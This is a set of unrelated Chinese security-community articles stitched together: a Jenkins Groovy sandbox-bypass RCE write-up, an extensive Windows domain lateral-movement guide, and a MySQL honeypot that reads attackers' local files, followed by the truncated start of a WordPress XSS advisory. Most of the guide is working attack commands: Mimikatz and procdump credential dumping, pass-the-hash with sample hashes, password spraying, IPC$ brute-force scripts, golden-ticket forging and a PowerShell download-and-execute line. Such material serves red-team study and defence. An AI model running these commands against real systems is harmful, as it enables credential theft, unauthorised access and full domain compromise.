前一段时间，Jenkins官方的安全通告报了好几个严重漏洞，但是可能大家在狂欢Orange大佬的那个[未授权RCE]()
看了[Matrix Project Plugin相关的介绍](Matrix Project Plugin)
得知这个插件是在创建Job的时候，选择项目类型的地方体现的：
通过查看各个项的帮助信息，找到了输入Groovy脚本的地方：
在准备利用Matrix Project
Plugin漏洞的时候，发现自己输入的脚本要么是格式不对，要么是碰到了Groovy脚本安全性检查，也就是某些方法或者关键字不允许使用。
先是试了这个payload：
(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""
然而发现不能调用`ProcessBuilder`:
后来又用了：
("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""
结果：
联想到之前Orange在博客里说的，需结合几个漏洞来利用，突然明白，由于Script
Security插件就是对Jenkins的各种用到了Groovy脚本功能处进行安全检查的，所以需结合这个Script
Security检查绕过漏洞`CVE-2019-1003029`来实现代码执行。
后来翻了一下[Orange的博客](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)下的评论。这里评论说，其实并不一定要用Meta
Programming来实现，`CVE-2019-1003029`的作者webpentest给出了绕过方法：
public class Tst {
public Tst()
"your cmd here".execute()
}
}
有时候修复漏洞的commit中的test也可以给我们一些信息，因为作者修复了一个漏洞，需要写一个test来验证这个漏洞是否真的修复了。
* Script Security插件漏洞修复的commit：
<https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434>
* matrix project插件漏洞修复的commit：
<https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7>
两个地方都提到了`DoNotRunConstructor`。看这个类名：`DoNotRunConstructor`（不执行构造器）
猜测这里主要是验证这个构造器里的代码不会被执行。可以验证webpentest的思路其实就是在类的构造器里执行代码，而不是反射或者Runtime、new之类的方式。
我在使用的时候，发现public关键字不能使用，于是去掉了public，改成了：
class poc{
poc(){
"/Applications/Calculator.app/Contents/MacOS/Calculator".execute()
}
}
### Demo
具有Job/Configure 权限的用户登录，然后新建一个Job，选择`构建一个多配置项目`，点击OK，然后在接下来的
### 调试
#### 环境：
* Jenkins：[1.150.3](https://updates.jenkins-ci.org/download/war/)
* Matrix Project Plugin：[1.13](https://updates.jenkins.io/download/plugins/matrix-project/)
* Script Security Plugin：[1.53](https://updates.jenkins.io/download/plugins/script-security/)
根据commit的和漏洞描述，在`hudson/matrix/FilterScript.java`的`evaluate()`方法下断点。
POST /jenkins_2_150_3/job/cqq/configSubmit
调用栈为：
parse:117, FilterScript (hudson.matrix)
parse:105, FilterScript (hudson.matrix)
evalGroovyExpression:101, Combination (hudson.matrix)
evalGroovyExpression:91, Combination (hudson.matrix)
rebuildConfigurations:658, MatrixProject (hudson.matrix)
submit:959, MatrixProject (hudson.matrix)
doConfigSubmit:1350, Job (hudson.model)
doConfigSubmit:772, AbstractProject (hudson.model)
其中`combinationFilter`参数的值为我们指定的payload。
这里就到了`groovy.lang.GroovyShell#parse(String)`了。注意这里只是解析传入的字符串脚本，然后返回相应的`groovy.lang.Script`对象。
> Parses the given script and returns it ready to be run
参考：[Groovy官方文档](http://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyShell.html#parse\(java.lang.String))
### 参考
<https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html>
<https://www.lucifaer.com/2019/03/04/Jenkins%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2018-1000861%E5%88%86%E6%9E%90%EF%BC%89/> | 社区文章 |
# 加密方式
windows中hash结构一般为`username:RID:LM-hsah:NTLM-hash`，windwos 2000之后LM-hash都为空，因为很容易破解一般被禁用。NTLM密码hash保存在`%SystemRoot%\System32\config\SAM`，在域中，用户信息保存在`C:\Windows\NTDS\NTDS.dit`中
windows中密码格式：`Username:RID:LM-Hash:NT-Hash`，在LM禁用的版本中为空值。
## LM-hash
windows7默认禁用LM-hash加密，本地安全策略-》本地策略-》安全选项，将不储存LAN管理器哈希值改为禁用。
特点：
1. 口令不区分大小写
2. 口令长度最多为14字节，如果没有超过7字节后面8字节是固定的
3. DES算法强度不够（字符串 “KGS!@#$%”为Key）
## NTLM hash
在渗透测试中，通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash，通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM
hash
1. 加密流程：先转换为16进制，unicode转换，MD4加密
### Net-NTLM Hash
指网络环境下的NTLM认证中的Hash
在NTLM协议中，NTLM响应就分为NTLM v1，NTLMv2，NTLM session v2三种协议，不同协议使用不同格式的Challenge和加密算法
所以也就存在不同协议的Net-NTLM hash，即Net-NTLM v1 hash，Net-NTLM v2 hash
就是NTLM协议中，客户端获取challenge后使用自己的NTLM hash对其进行加密的结果。（就是Response）
这一类hash不能用于PTH，但是能够暴力破解出密码
自Windows Vista/Server2008开始，系统默认禁用Net-NTLMv1，使用Net-NTLMv2
v1格式：`username::hostname:LM response:NTLM response:challenge`
v2格式：`username::domain:challenge:HMAC-MD5:blob`
### Net-NTLMv1加密利用思路
修改注册表开启v1：
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
加密流程
服务端返回8位challenge
客户端收到challenge后，使用用户密码Hash加密challenge，作为response（加密算法为3DES）
利用思路
在控制challenge后在短时间内通过彩虹表还原出用户的NTLM Hash
利用工具：<https://github.com/eladshamir/Internal-Monologue>
NTLM破解工具：<https://hashcat.net/wiki/doku.php>
### Net-NTLMv2
与v1不同的是 challenge有16位，加密算法是HMAC-MD5
## windwos认证流程
winlogon.exe -》用户输入 -》 lsass.exe -》 认证
用户输入密码后交给lsass.exe进程，它会先保存一份明文密码，将明文密码加密为NTLM Hash，与SAM数据库进行比较。
# 相关协议
## LM
早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response
验证机制，简称LM，它是如此简单以至很容易就被破解，现在又有了NTLM以及Kerberos。
1. A向B发起请求
2. B返回A一个8字节的响应码
3. A将自己的LM Hash分成三部分，每组7字节，每组都使用响应码对其进行加密，然后发送给B。
4. 然后B也执行和A相同的操做，不过LM Hash是储存在服务器中的A的LM Hsah。
5. 如果比对一样则通过验证。
## NTLM
NTLM是一种认证协议，NTLM采用质询/应答(Challenge/Response)的消息交换模式，在域中优先使用Kerberos协议，但是也可以使用NTLM
1. 用户输入账号密码登录Windows，客户端缓存输入密码的hash值。
2. 客户端向服务器发送请求，请求包括明文表示的用户名。
3. 服务端判断用户名是否存在，存在则生成16位challenge保存并返回给客户端。
4. 客户端收到challenge后使用密码hash进行加密，然后发送给服务器（发送的就是Response）。
5. 服务器收到后利用自己数据库中的密码hash加密challenge，然后进行比较
6. 在域中第5步则是：
7. 1. 在域中服务器会发送给DC，包括客户端用户名，客户端密码hash值加密的challenge，原始challenge
2. DC根据用户名在数据库中查找密码hash。对challenge进行加密比对，然后将结果返回给客户端。
**明文并没有在两者之间传输，使用的是NTLM Hash，如果攻击者获得了NTLM Hash，就可以进行Hash传递攻击（Pass The Hash）**
## Kerberos
Kerberos是一种网络认证协议，在网络上传输的数据包可以被任意地读取，修改，和插入数据时，Kerberos任然被认为是一种可信任的第三方服务
参与角色：客户端，服务器，KDC（密钥分发中心）= DC
### AD目录
AD储存关于网络对象的信息，使管理员能够轻松查找这些信息
网络对象划分为：用户，用户组，计算机，域，组织单位，安全策略
### KDC组成
AD：储存所有客户白名单，只有在白名单中的客户端才可以申请TGT
AS：为客户端生成TGT的服务
TGS：为客户端生成某个服务的ticket
从物理层面看AD域KDC都是域控
### Kerberos认证流程
**一。客户端认证（Client-AS** ）
**AS-REQ** ：Hash传递攻击，域外用户枚举，密码喷洒攻击，pass the hash with remote
desktop，KB22871997
1. 客户端向服务端发送客户端信息和相应的请求（消息1）
2. 1. 用户的标识和请求的服务
2. 预认证数据，Hash加密的时戳
**AS-REP** ：黄金票据，AS-REP Roasting攻击
1. kerberos检查该用户是否在本地数据库中，解密时间戳，然后返回两条信息（消息2）
2. 1. Client/TGS会话密钥（Client/TGS Session key）， 用于客户端与TGS之间的通信，使用客户端的NTLM Hash加密（消息2a）
2. 票据授权票据（Ticket Granting Ticket），包含Client/TGS会话密钥，用户ID，用户网址，消息2有效期，通过TGS密钥进行加密。（消息2b）
3. 客户端收到消息后，使用自己的NTLM Hash解密消息2a，得到TGS会话密钥。
**二。服务授权（Client-TGS）**
1. 客户端想要申请服务的时候，向TGS发送两条消息：
2. 1. 消息2b（就是TGT），想要获取的服务ID。
2. 认证符（Authenticator），包含用户ID和时间戳，使用Client/TGS会话密钥进行加密。
3. Kerberos收到客户端的消息后，TGS先在KDC中查找服务ID是否存在，然后使用自己的TGS密钥解密消息客户端发送过来的消息2b，得到Client/TGS会话密钥
**TGS-REP** ：SPN，Kerberosast攻击，白银票据
1. 使用Client/TGS会话密钥解密消息4b，核对完成后向客户端发送：
2. 1. 客户端-服务器票据（Client-Server-Ticket），包含Client/SS会话密钥（Client/Server Session key），用户ID，用户网址，票据有效日期。使用服务器密钥加密。
2. Client/SS会话密钥，使用Client/TGS密钥加密。
3. 客户端收到消息后使用2a解密得到的Client/TGS密钥解密消息6b，得到Client/SS会话密钥。
**三。服务请求**
1. 客户端向服务发起请求：
2. 1. 发送消息6a。
2. 新的Authentication（用户ID，时间戳），使用Client/SS会话密钥加密。
3. 服务器收到消息后，使用自己的服务器密钥解密接收到的消息6a，得到Client/SS密钥，在使用Client/SS密钥解密消息8b，获取Authentication，获取用户ID和时间戳。此时服务器就可以给客户端提供服务了，向服务端发送一条消息：
4. 1. 新的时间戳，使用Client/SS加密
四。客户端与服务沟通
1. 客户端拿到消息9a后，使用Client/SS解密，验证时间戳，确认服务器身份，然后开始请求。
五。Kerberos的缺点
1. 如果Kerberos挂了，就无法请求服务。
2. 时间需要统一，因为票据具有时效性，时间不能超过10分钟
3. DC被控，整个域就完了
4. 客户端防御差，用户密码Hash也会被拿走
# 横向移动
根据Kerberos的不同流程，可以造成不同的攻击。
## 抓取密码
### Wdigest Auth
<https://mp.weixin.qq.com/s/wBgAOb3toxseqwHMToU6nQ>
[https://baijiahao.baidu.com/s?id=1611387816169124711&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1611387816169124711&wfr=spider&for=pc)
mimikatz能导出明文的原因是因为wdigest SSP保存了可逆的密码密文。
在KB2871997之前有其他的SSP也能保存明文，windwos在安装KB2871997补丁或者版本大于Windows 10和Windows Server
2012时，禁止在内存中保存明文密码，但可以通过修改注册表读取。
KB2871997补丁默认禁用了Wdigest Auth，lsass不保存明文密码，但是某些服务需要用Wdigest Auth，所以还能手动开启。
#### Wdigest作用
与NTLM一样是一种挑战认证协议，只能用于域账户认证，只要用于IIS和LDAP。它的出现主要是为了代替HTTP BASIC，HTTP
BASIC会将密码以base64的方式发送。
#### Digest验证方式
Digest是对RFC 2069和RFC 2617的实现，由于在计算hash的时候需要用到明文密码，所以为了实现认证，只能将密码保存在内存中。
#### Digest服务端
由于Digest服务需要计算客户端返回的response，也需要保存明文密码，这里就涉及Reversible Encryption功能。
1. Reversible Encryption
默认情况下域账号都是关闭这个功能的，所以默认不能使用Wigest认证，域数据库里只保存了hash没有保存密码。
1. Advanced Digest
从windows 2003开始，wdigest.dll就是实现Advanced
digest，它不在储存明文密码。保存明文密码是因为我们需要算出hash值，Advanced
digest会先计算出hash值并保存。实际上域里一共保存了29中hash。
不过这也只能杜绝服务端保存明文。
由于客户端可能与任何域进行认证，所以无法预先计算hash。
#### 开启Wdigest Auth
1. cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest UseLogonCredential /t REG_DWORD /d 1 /f
2. powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
3. meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
关闭只需将最后的1改为0
关闭之后需要重新登录才能获取密码，强制锁屏
1. cmd
rundll32 user32.dll,LockWorkStation
2. powershell
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"
### mimikatz
需要管理员权限，因为要读取lsass进程。高版本需要开启Wdigest Auth才能读取明文密码。
privilege::debug #提权
#读取lsass进程
sekurlsa::logonpasswords
读取SAM表
token::elevate
lsadump::sam
防御方法：mimikatz需要与lsass进程进行交互，需要Debug权限，而DeBug权限在Administrators组所有，所以在配置权限的时候可以将Administrators组中拥有DeBug权限的账号移除，mimikatz再次使用`privilege::debug`时就会出错。
win+r输入secpol.msc
#### Additional LSA Protection
为lsass进程提供保护，在win8.1，win server 2012 r2及以上版本有效。
启用方法
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1
重启之后无法读取密码，但是可以在mimkatz同级目录下使用mimidrv.sys绕过
### procdump
1. dump lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
1. 读取密码
sekurlsa::minidump lsass.dmpsekurlsa::tspkgsekurlsa::logonpasswords
### SAM表
离线获取SAM表
# cmd管理员reg save HKLM\SYSTEM systemreg save HKLM\SAM sam# mimikatz读取lsadump::sam /sam:sam /system:system
### msf
加载mimikatz：load mimkatz明文密码：wdigest密码hash：msv执行mimikatz命令：mimikatz_command -f sekurlsa::logonpasswords
### powershell
Invoke-Mimikatz.ps1:<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>
### 转储进程
# mimikatzsekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full
### 获取RDP密码
win10 失败
RDP凭据目录：`C:\Users\用户名\AppData\Local\Microsoft\Credentials`
获取命令：`cmdkey st或powerpick Get-ChildItem
C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force`
1. 获取连接主机的ip
工具：<https://github.com/3gstudent/List-RDP-Connections-History>
./ListLogged-inUsers.ps1
使用cmd
`reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Servers" /s`
1. 获取密码
查看凭据dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*使用mimikatz =》 .\mimikatz.exe ；提权 =》 privilege::debugdpapi::cred /in:C:\Users\de1ay\AppData\Local\Microsoft\Credentials\SSESSION##如果没有得到密码 需要手动输入masterkey，上面的命令可以看见guidmasterkey找到所有masterkey，通过相同的guidmasterkey获取masterkeysekurlsa::dpapidpapi::cred /in:C:\Users\de1ay\AppData\Local\Microsoft\Credentials\SESSION /masterkey:masterkey
## 横向（AS-REQ）
### PTH
由于windows认证采用NTLM协议，并没有传递明文密码，通过获取管理员LM hash或者NTLM hash就可以登录其他主机，获取其他主机权限
使用环境：域，工作组
版本限制：
1. Windows NT 5.x中，管理员组账号均能获取系统管理权
2. Windows NT 6.x中，管理员组（除SID500账户）不能获取管理员权限
使用条件：要登录的用户是域管理员组（域）或者管理员组（工作组），知道前面账号的密码hash`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken`的值需要为0，如果为1则管理员也无法通过网络登录的方式获取高权限。如果`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy`值为1，则所有管理员组账户都能获取高权限。
#### mimikatz
条件：需要管理员权限
域
mimikatzlog log.txt #将接下来的输出结保存到当前目录下的log.txt中，方便复制privilege::debugsekurlsa::pth /user:xxx /domian:xxx /ntlm:xxxx(32位)
工作组
获取hash后sekurlsa::pth /user:administrator /domian:workgroup /ntlm:xxxx(32位)成功之后弹出的cmd执行ipc命令 可以不用输入密码了
#### impacket工具包
python版：<https://github.com/SecureAuthCorp/impacket>
exe版：<https://github.com/maaaaz/impacket-examples-windows>
##### psexec
获取的是机器system权限
1. 使用NTLM协议
psexec.exe -hashes LM hash:NTLM hash domain/[email protected] -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/[email protected] Hash可以为空工作组中domain/username就改为机器名/username，就是whoami
1. 使用Kerberos协议
当在域环境中时，如果指定IP访问，会使用NTLM协议进行身份认证，因为没有提供SPN（server principal name）
指定psexec指定-k参数使用kerberos协议
`setspn -q */*`查看SPN
psexec.exe de1ay.com/[email protected] -hashes f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24 -k
##### wmiexec
获取登录账号权限
wmiexec.exe -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/[email protected]
##### smbexec
smbexec.exe -hashes :161cff084477fe596a5db81874498a24 de1ay/[email protected]
#### 禁用NTLM协议
域控中 本地安全策略
使用kerberos协议PTH
### KB2871997
1. 支持`Protected User`组
2. 支持Restricted Admin RDP模式
3. 注销后删除内存中的凭据
4. 添加两个新SID
5. lsass中只允许wdigest储存明文密码，默认禁用
#### 是否能阻止PTH
**没有安装KB2871997**
域中账户：
1. 域管`de1ay\administrator`（成功）
1. 普通域账户添加到本地管理员`de1ay\pc`（成功）
1. 本地sid500管理员`sc\administrator`（成功）
1. 本地普通管理员`sc\test_admin`（失败）
**安装KB2871997**
然而结果并没有变化
#### 结论
事实上是否能PTH取决于UAC
administrator的sid为500，而域账号使用的是域内的sid，本地普通管理员无法PTH正是被UAC拦截了。
#### Protected User组
该组成员会强制使用kerberos认证，并且使用AES加密。
#### 两个SID
S-1-5-113和S-1-5-114
S-1-5-113为全部本地账户S-1-5-114是本地administrator组账户
域账户并不受影响
### PTK
#### mimikatz
sekurlsa::pth /user:administrator /domain:alanlitl.com /aes256:xxxxxxx在弹出的cmd中连接其他主机即可
### 域外用户枚举
域外主机也能与域控进行交互，只要能访问域控的88端口，就能利用kerberos协议的AS-REQ阶段，通过这种方式去枚举用户名。
优点：不会产生大量日志
* 验证成功：产生日志 4768 - A Kerberos authentication ticket (TGT) was requested
* 验证失败：产生日志 4771 - Kerberos pre-authentication failed
**攻击方法**
kerbrute：`https://github.com/ropnop/kerbrute/`
1. 爆破用户：`kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d de1ay.com user.txt`
1. 爆破密码：`kerbrute_windows_amd64.exe passwordspray -d 1qaz@WSX user.txt 1qaz@WSX`
1. 产生的日志
1. pyKerbrute
https://github.com/3gstudent/pyKerbrute
* 增加对TCP协议的支持
* 增加对NTLM hash的验证
* EnumADUser
* 支持TCP和UDP
* TCP：`python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt tcp`
* UDP：`python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt udp`
* ADPwdSpray.py
* 支持TCP UDP 和明文，NTLM hash
* 明文：`python2 ADPwdSpray.py x.x.x.x de1ay.com user.txt clearpassword 1qaz@WSX tcp`
* NTLM Hash：`python2 ADPwdSpray.py x.x.x.x de1ay.com user.txt ntlmhash xxxxxxxxxxxxxxxxxxx tcp`
### 密码喷洒攻击
利用工具：<https://github.com/dafthack/DomainPasswordSpray>
指定参数
Domain 指定域RemoveDisable 删除禁用的用户 RemovePotentialLockouts 删除锁定账户UserList 自定义用户列表Password 指定单个密码 PasswordList 指定密码字典OutFile 结果保存到文件 Force 枚举出一个后继续枚举
1. 获取域用户
2. `powershell执行：import-module .\DomainPasswordSpray.ps1;get-domainuserlist`
3. `net user /doamin`
1. 爆破
2. `Import-Module .\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password 1qaz@WSX`
### RDP 横向
RDP Hash传递
windows server 2012 R2，win8.1默认支持，Windows 7 和 Windows Server 2008 R2
需要安装KB2871997和KB2984972。[详细](https://docs.microsoft.com/zh-cn/archive/blogs/kfalde/restricted-admin-mode-for-rdp-in-windows-7-2008-r2)
1. 受限制模式本意是防止从内存中获取用户凭证，当没有开启受限管理员模式并且没有打上KB2871997时，我们可以在内存中获取用户明文和Hash，也可以使用缓存的凭据去访问其他服务（smb等等）。
2. 当开启受限管理员时（客户端使用mstsc /restrictedadmin启动），如果本机用户名密码与要登录远程主机相同那么就会直接登录，就算不同也会在计算出所需要的值后发送给远程主机，此时使用mimikatz读取内存，就无法读取到远程登录明文密码，Hash。
查看远程桌面是否打开 0开启，1关闭REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections开启远程桌面（1改为0就是关闭） wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 开启3389REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f检查3389是否打开tasklist /svc | find "TEermServic"netstat -ano | find "上面查到的进程号"或者netstat -ano | find "3389"开启Restricted admin modeREG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f使用linux客户端apt-get install freerdp-x11xfreerdp /u:administrator /pth:161cff084477fe596a5db81874498a24 /v:192.168.62.134 /cert-ignore如果提示身份验证错误，在服务端执行REG add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
### IPC$
IPC$（Internet process
connection）让进程间通信而开放的命名管道，通过提供可信的用户名和口令，建立安全的通道进行数据交换，基于SMB协议，所以IPC$默认走445端口，要是不通则走139端口（开启NBT情况下）。
#### 直接使用IPC命令
使用条件：
1. 开放139，445端口
2. 目标开启IPC$文件共享
3. 获取用户账号密码
建立连接net use \\10.10.10.12\ipc$ /user:administrator "1qaz@WSX"删除连接net use \\10.10.10.12\ipc$ /del查看文件dir \\192.168.242.134\c$复制文件copy mimikatz.exe \\x.x.x.x\c$\temp\mimikatz.exe创建任务schtasks /create /tn "test /tr calc.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"直接运行任务schtasks /run /tn "test" /S 192.168.242.134 /u administrator /p "1qaz@WSX"删除任务schtasks /F /delete /tn "plugin_update" /S 192.168.242.134 /u administrator /p "1qaz@WSX"
#### 使用psexec
通过ipc$连接，在目标机器传送psexesvc.exe，创建并启动服务，客户端连接。
利用工具：Metasploit的psexec psexec psh, Impacket工具包的psexec, pth-winexe, Empire
Invoke-Psexec，windows的PsExec
优点：获取的是system权限
缺点：需要启动服务，特征明显容易被杀，需要开启admin$
1. PsExec
net use \\x.x.x.x\ipc$ "password" /user:de1ay\administratorPsExec.exe -accepteula \\10.10.10.10 -s cmd.exe
#### 爆破
有密码
@echo offclsecho Useage: %0 ip.txt pass.txtfor /f %%t in (%1) do (FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txtnet use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >NUL 2>NULIF NOT errorlevel 1 (echo %%i t:%%t>> pic.txtnet use \\%%t\ipc$ /del)net use * /del /y >NUL 2>NUL))echo end >> end.txt
无密码
@echo offclsecho Useage: %0 ip.txtfor /f %%t in (%1) do (echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txtnet use \\%%t\ipc$ "" /user:"localhost\Administrator" >NUL 2>NULIF NOT errorlevel 1 (echo success:%%t>> pic.txtnet use \\%%t\ipc$ /del)net use * /del /y >NUL 2>NUL)echo end >> end.txt
#### 端口禁用
防火墙关闭两个端口
开启445
开启139
## 横向（AS-REP）
### 黄金票据
黄金票据是伪造TGT票据，没有进行AS-REQ和AS-REP通信。
伪造黄金票据要求：
1. 域名称
2. 域SID值
3. krbtgt账户Hash
4. 伪造用户名
#### 特点
1. KDC不会检查TGT中的用户，知道TGT超时20分钟，所以攻击者能使用禁用，删除甚至是不存在用户。
2. 票据有效时间以票据为准
3. 不管有没有加入域，只要能在网络上访问，就能造成攻击
#### 伪造票据
**使用mimikatz**
1. 获取krbtgt hash
在域控上导出hashlsadump::dcsync /domian:de1ay.com /user:krbtgtlsadump::lsa /patch
1. 伪造票据
找到一下信息
域名，sid，aes256或者ntml
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-502 /aes256:S-1-5-21-2756371121-2868759905-3853650604-502 /user:administrator /ticket:gold.kirbikerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-502 /krbtgt:S-1-5-21-2756371121-2868759905-3853650604-502 /user:administrator /ticket:gold.kirbi
1. 使用票据
kerberos::list #查看票据kerberos::purge #清空票据kerberos::ptt gold.kirbi #注入票据
1. 获取权限
使用psexec或者wmi都可以
需要使用机器名
PsExec.exe -accepteula //DC.de1ay.com -s cmd如哦开启了RPC服务，可以使用wmiexec连接cscript wmiexec.vbs /shell 10.10.10.10
#### 局限性及其绕过
**局限：**
由于mimkatz通过RID（相对安全标记符）向票据添加组成员资格，因此在多域中，无法向其它域提供权限。
**绕过：**
在迁移方案中，从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID
History属性中。当用户使用新帐户登录DomainB时，DomainA
SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。
新版的mimikatz可以将历史SID记录添加到Forest Enterprise Admins组的Golden
Ticket中。一旦单个域受到攻击，整个域都会受到威胁。
**防御：**
在Active Directory林中的信任之间启用SID筛选可以防止绕过黄金票据局限性。
#### 黄金票据防御
定期修改krbtgt密码
限制管理员账户在其他主机上登录，委派给其他账户相关权限代替管理员账户。 | 社区文章 |
# MySQL蜜罐获取攻击者微信ID
##### 译文声明
本文是翻译文章，文章原作者 归零，文章来源：零队
原文地址：<https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前些日子有人问到我溯源反制方面的问题，我就想到了MySQL任意文件读取这个洞，假设你在内网发现或扫到了一些MySQL的弱口令，你会去连吗？
## 原理
MySQL中 load data local infile ‘/etc/passwd’ into table test fields terminated
by ‘\n’;
语句可以读取客户端本地文件并插进表中，那么我们可以伪造一个恶意的服务器，向连接服务器的客户端发送读取文件的payload。这个技术并不新鲜，但是合理利用就能起到一些不错的成果。
利用
抓个包看看连MySQL时客户端和服务端通信的两个关键点：
服务端先返回了版本、salt等信息：
客户端向服务端发送账号密码信息后，服务端返回了认证成功的包：
至此，我们只需等待客户端再发一个包，我们就能发送读取文件的payload了，再看看读取文件这个包：
这里000001是指数据包的序号，fb是指包的类型，最后一个框是指要读取的文件名，而最前面的14是指文件名的长度（从fb开始，16进制），所以payload则是chr(len(filename)
+ 1) + “\x00\x00\x01\xFB” + filename
在能够实现任意文件读取的情况下，我们最希望的就是能读到与攻击者相关的信息。日常生活中，大家几乎都会使用微信，而如果攻击者没有做到办公—渗透环境分离的话，我们就有希望获取到攻击者的微信ID
Windows下，微信默认的配置文件放在C:\Users\username\Documents\WeChat Files\中，在里面翻翻能够发现
C:\Users\username\Documents\WeChat Files\All Users\config\config.data 中含有微信ID：
而获取这个文件还需要一个条件，那就是要知道攻击者的电脑用户名，用户名一般有可能出现在一些日志文件里，我们需要寻找一些比较通用、文件名固定的文件。经过测试，发现一般用过一段时间的电脑在
C:\Windows\PFRO.log 中较大几率能找到用户名。
## 伪装
攻击者进入内网后常常会进行主机发现和端口扫描，如果扫到MySQL了，是有可能进行爆破的，如果蜜罐不能让扫描器识别出是弱口令，那就没啥用了，所以还需要抓下扫描器的包。
这里以超级弱口令检查工具为例，首先在本地起一个正常的MySQL服务，wireshark抓包看看扫描器有哪些请求：
可以看到，这款工具在验证完密码后还发了5个查询包，如果结果不对的话，是无法识别出弱口令的，那么我们将服务器的响应数据提取出来，放进程序里，当收到这些请求后，就返回对应的包：
这样就能让扫描器也可以正常识别：
## 效果
当攻击者发现存在弱口令的时候，大概率会连上去看看，如果使用navicat的话，就能读取到文件：
写了个简单的web来显示攻击者的微信ID，扫一扫就能加上TA
## 思考
除了获取微信ID，我们还能获取哪些有价值的东西呢？
* chrome的login data，虽然无法解密出密码，但是还是可以获取到对方的一些账号的
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/Login
Data’
* chrome的历史记录
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User
Data/Default/History’
* 用户的NTLM Hash（Bettercap + responder）
\\\ip\test
详情：<https://www.colabug.com/2019/0408/5936906/>
* ……
待解决问题：
* 同一出口IP的不同攻击者的信息如何区分
* 读取的文件较大时，客户端会分段传输，如何完整获取
* 前端有点bug，不管了，能用就行了
关于其他可利用的点和以上待解决问题欢迎大家留言讨论，最后，源码我上传到GitHub了，有需要的朋友请自取：
<https://github.com/qigpig/MysqlHoneypot>
## 参考链接
[1] <https://www.colabug.com/2019/0408/5936906/>
[2] <https://github.com/ev0A/Mysqlist> | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
## 0x00 漏洞概述
### 1.漏洞简介
[WordPress](https://wordpress.org/)是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统，近日研究者发现在其<=4.6.1版本中，通过上传恶意构造的主题文件可以触发一个后台存储型XSS漏洞。通过该漏洞，攻击者可以在能够上传主题文件的前提下执行获取管理员Cookie等敏感操作。
### 2.漏洞影响
